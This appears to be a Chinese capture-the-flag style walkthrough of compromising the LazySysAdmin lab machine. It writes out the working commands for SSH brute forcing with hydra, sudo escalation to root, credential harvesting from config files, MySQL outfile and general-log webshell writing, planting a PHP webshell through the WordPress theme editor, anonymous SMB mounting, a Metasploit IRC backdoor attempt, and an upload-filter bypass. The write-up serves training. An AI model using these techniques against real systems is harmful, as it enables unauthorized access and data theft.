一、实验环境
kali:192.168.56.104 扫描同一网段,探测主机:
nmap -sP 192.168.56.0/24
这就好办了,确定靶机ip为192.168.56.103
二、信息收集
扫描端口: nmap -sS -Pn -T4 -sV -O 192.168.56.103
所得到的信息: OS: Linux 3.2 - 4.9(Ubuntu) 22端口: ssh——OpenSSH 6.6.1 80端口: http——Apache httpd 2.4.7 139端口: netbios——Samba smbd 3.x - 4.x 445端口: netbios——Samba smbd 4.3.11 3306端口: mysql——MySQL 6667端口: irc——InspIRCd
扫描目录: dirb http://192.168.56.103
扫描出了很多目录,后面的就不一一截图了,等下进行漏洞探测!
三、渗透测试
1. 22端口(ssh爆破)
尝试ssh爆破: 很遗憾没能直接爆破出来,但在我们扫描目录的时候不难发现这是一个wordpress博客网站
进到主页里面寻找有用信息: 满屏的togie,啧啧,指定用户名,继续进行ssh爆破:
hydra -l togie -P password.txt -vV -t4 192.168.56.103 ssh
用户名: togie
密码: 12345
也可以使用msf的auxiliary/scanner/ssh/ssh_login模块,爆破ssh
ssh连接: ssh togie@192.168.56.103
从gid和uid可以看出我们并不是root权限 尝试提权: sudo su 切换root身份,发现直接可以获得root权限: 在网站根目录下写马: 蚁剑连接失败,enmm22端口就到这儿吧!
2. 网站主页
主要从两个方面入手: 1、wordpress登陆界面 2、phpmyadmin登陆界面
另外网站存在robots.txt 文件: 前三个都没什么用,第四个的图片名有点像base64: 解码后:I$8b4f5a97-4757-4157-afe8-9a1a8 ,还看不出来作用,先放着
phpmyadmin
默认的phpmyadmin配置文件位于phpmyadmin文件夹下,一般以下两个都是:
phpmyadmin/libraries/config.default.php ./config.inc.php
root@LazySysAdmin:/usr/share/phpmyadmin/libraries
查看config.default.php配置文件:只有用户名没有密码。。
但空密码登陆被禁止: 在/etc/phpmyadmin/config-db.php 配置文件中找到了线索
用户名:phpmyadmin
密码:TogieMYSQL12345
但还是没办法登陆: 最终用root TogieMYSQL12345 成功登录!
phpmyadmin挂马的两种方式: 1、利用into outfile写文件挂马
show variables like "%secure%"; 查看 MySQL 自定义的输出路径 已经指定了路径,那就先尝试一下向指定路径写马: select "<?php phpinfo();?>" into outfile "/var/lib/mysql-files/test.php"
写入成功,浏览器查看并没有被解析
那就只能修改secure_file_priv 的值,然后写入根路径了。 之前已经确定了网站根路径为:/var/www/html set global secure_file_priv = ''
失败。
2、利用日志文件挂马 查看全局日志情况:show variables like "%general%" 不仅关闭,还限制了路径
开启日志记录: set global general_log = on
设置日志路径为网站根目录: set global general_log_file = "/var/www/html"
又失败了。
wordpress登陆
查看wordpress数据库,但报错了 看了看其他大佬的博客,好像是phpmyadmin配置文件本身的问题,去改一下试试。
找到phpmyadmin的配置文件:config.inc.php
将下面这一行: $cfg['Servers'][$i]['table_uiprefs'] = 'pma_table_uiprefs';
改为: $cfg['Servers'][$i]['pma__table_uiprefs'] = 'pma__table_uiprefs'; se,x_16)
使用service apache2 restart重启apache服务就可以了。(需要使用root权限操作) 就可以访问数据库内容了:
Admin 的密码被加密了
不是MD5加密,emm先搁置一下,至少我们知道存在用户Admin 可以登录wordpress
$P$B.LCmtO3gkm0PdZNkBwgz2HQweq2Ur0
换一种方式获取密码: 查看wordpress的配置文件: /var/www/html/wordpress/wp-config.php
密码为:TogieMYSQL12345^^ 成功登录: 上传一句话木马被拦截: 在主题编辑的地方找到一个php文件: echo "11111111111"; 网页访问可以正常输入
直接写入一句话,通过蚁剑连接:
3. 139 445端口(SMB)
SMB协议用于实现局域网的文件和打印机共享,Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。
常见的用于实现该共享功能的开放端口是139和445端口,一般连接会要求用户密码,但某些时候也会允许无密码连接。
本次就利用samba配置不当,导致无密码连接时泄漏重要文件,来进行渗透。
又发现允许无账号密码连接: 在连接目标主机的SMB文件共享服务时,有两种方式:
1、资源管理器连接 2、命令行连接
1、资源管理器连接:
1、Windows下,打开我的电脑,在地址栏输入 \192.168.56.103,提示输入账号密码,即可。
2、Linux下,在资源管理器下的网络服务中,输入smb://192.168.56.103 即可。
2、命令行连接:
1、远程网络挂载: mount -t cifs //ip地址/path/to/share path/to/mount
mount:挂载命令
-t cifs: 用cifs文件系统挂载samba共享文件,如果提示错误的文件系统的话,可能是没有cifs,需要自己安装。【centos: yum install nfs-utils】
//ip地址/path/to/share:共享目录路径
path/to/mount:要挂载的路径,需要自己创建一个,这里我创建的文件夹是mount
mount -t cifs //192.168.56.103/share$ ./mount/ 成功: 2、smbclient连接 445端口的渗透测试就到此
4、6667端口(irc)
6667端口运行着irc服务软件InspIRCd,InspIRCd是一个可扩展的IRC软件包,可以在Linux、BSD或视窗系统下建立一个运行稳定界面时尚体积小巧的IRC聊天服务器。
搜索模块:
search unreal_ircd_3281_backdoor
利用模块
use exploit/unix/irc/unreal_ircd_3281_backdoor
查看参数,设置目标ip
show options
set rhosts 目标IP地址
执行:
exploit
但并不成功!
四、总结
总结一下渗透该靶机的大致的流程:
1、扫描主机,搜集端口服务及OS信息 2、利用信息泄漏(my name is togie)及弱口令爆出ssh密码 3、连接ssh,利用用户权限配置不当,得到root权限 4、利用root权限查看配置文件,得到phpmyadmin帐号密码 5、利用root权限,得到用户信息,登录Wordpress默认管理后台 6、在Wordpress中利用文件上传及插件进行种马,getshell 7、samba文件共享信息泄露,得到之前爆出的账号密码 知识点:
Wordpress默认后台是 /wp-admin,其中插件功能存在众多漏洞,可以利用插件挂马。
phpmyadmin中挂马的两种方式:
1、into outfile直接写文件; 2、利用日志执行包含木马的sql语句。
做网站渗透时,一定不要忽略robots.txt文件,可能会有意外收获
Apache读文件名是从前到后,因此可以利用name.jpg.php来绕过检测
|